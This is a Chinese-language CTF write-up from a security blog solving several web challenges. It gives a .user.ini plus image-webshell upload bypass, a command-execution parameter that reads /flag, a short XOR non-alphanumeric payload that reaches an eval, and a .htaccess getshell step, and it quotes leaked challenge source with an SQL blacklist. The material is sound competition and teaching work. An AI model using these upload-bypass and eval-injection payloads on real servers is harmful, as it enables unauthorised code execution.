WEB:CheckIn
国赛华东北赛区的改题orz
0x01 开工
上传,经过测试发现共有三种回显结果

1、<? in contents! 表示 <?不能连续出现在文件中
2、illegal suffix! 表示 不能上传后缀为php、php4、php5、phtml等可直接被解析的PHP文件
3、exif_imagetype:not image表示 判断一个图片的类型(即读取一个图像的第一个字节并 检查其签名)
exifimagetype (PHP 4 >= 4.3.0,PHP5,PHP 7) exifimagetype - 判断一个图像的类型
尝试了.htaccess,发现不行。 找到一篇文章:
https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%9 0%E7%9A%84PHP%E5%90%8E%E9%97%A8.html?tdsourcetag=s_pctim_aiomsg
先上传一个.user.ini文件
再上传一个图片文件(图片中是木马)
.user.ini可以会将图片马中的代码包含到每个php文件中
使用GIF89a绕过exif_imagetype判断 使用<script>标签绕过对<?的检测 最终文件内容分如下:

上传.user.ini

上传111.jpg

根据路径访问index.php并传入cmd的值:?cmd=system("cat /flag");即可得到flag 这里传的是get型的马,直接传参读取即可,传post型需使用菜刀连接数据库找flag.

题目:
<?phpfunction get_the_flag(){// webadmin will remove your upload file every 20 min!!!!$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);if(!file_exists($userdir)){mkdir($userdir);}if(!empty($_FILES["file"])){$tmp_name = $_FILES["file"]["tmp_name"];$name = $_FILES["file"]["name"];$extension = substr($name, strrpos($name,".")+1);if(preg_match("/ph/i",$extension)) die("^_^");if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");if(!exif_imagetype($tmp_name)) die("^_^");$path= $userdir."/".$name;@move_uploaded_file($tmp_name, $path);print_r($path);}}$hhh = @$_GET['_'];if (!$hhh){highlight_file(__FILE__);}if(strlen($hhh)>18){die('One inch long, one inch strong!');}if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )die('Try something else!');$character_type = count_chars($hhh, 3);if(strlen($character_type)>12) die("Almost there!");eval($hhh);?>
可用的可见字符有
! # $ % ( ) * + - / : ; < > ? @ ] ^ { }
[ISITDTU CTF 2019 EasyPHP 回顾]
(https://blog.zeddyu.info/2019/07/20/isitdtu-2019/)
找到一篇类似的题,大概就是构造类似于
(%9e%ea%9e%9e%b3%9c^%ed%b3%ed%ea%f6%d1)(%c6%9e^%aa%ed);//(system)(ls); 本地已经能执行命令了,就是要构造总长度不大于18和出现的重复字符数不大于12
目的是构造(get_the_flag)();?
get_the_flag^get_the_flag就究极超长了
test=$_GET{c}();&c=get_the_flag这样的话长度还是有点超过
关键还是18位限制太恶心了,用异或去掉^();这四个只有7位payload(7*2+4)
参考https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
经过摸索,找到payload
${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=get_the_flag
接下来就是上传了,上传一个.htaccess,然后getshell,orz具体操作可以问问ruozhi师傅。
这题比较有意思,有个非预期。
.index.php.swp存在源码泄露,源码如下:
<?phpsession_start();include_once "config.php";$post = array();$get = array();global $MysqlLink;//GetPara();$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);if(!$MysqlLink){die("Mysql Connect Error!");}$selectDB = mysqli_select_db($MysqlLink,$dataName);if(!$selectDB){die("Choose Database Error!");}foreach ($_POST as $k=>$v){if(!empty($v)&&is_string($v)){$post[$k] = trim(addslashes($v));}}foreach ($_GET as $k=>$v){}}//die();?><html><head></head><body><a> Give me your flag, I will tell you if the flag is right. </ a><form action="" method="post"><input type="text" name="query"><input type="submit"></form></body></html><?phpif(isset($post['query'])){$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";//var_dump(preg_match("/{$BlackList}/is",$post['query']));if(preg_match("/{$BlackList}/is",$post['query'])){//echo $post['query'];die("Nonono.");}if(strlen($post['query'])>40){die("Too long.");}$sql = "select ".$post['query']."||flag from Flag";mysqli_multi_query($MysqlLink,$sql);do{if($res = mysqli_store_result($MysqlLink)){while($row = mysqli_fetch_row($res)){print_r($row);}}}while(@mysqli_next_result($MysqlLink));}?>
非预期解:

题目打开是魔方

在js/three.min.js发现一张图片

接下来,winhex打开,发现有一串字符:U2FsdGVkX1+zHjSBeYPtWQVSwXzcVFZLu6Qm0To/KeuHg8vKAxFrVQ==
然后卡住了orz,后来被夜莫离师傅解开了,tql
用假flag作为密钥解密即可

本文作者:星盟安全团队
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/111127.html
必填 您当前尚未登录。 登录? 注册
必填(保密)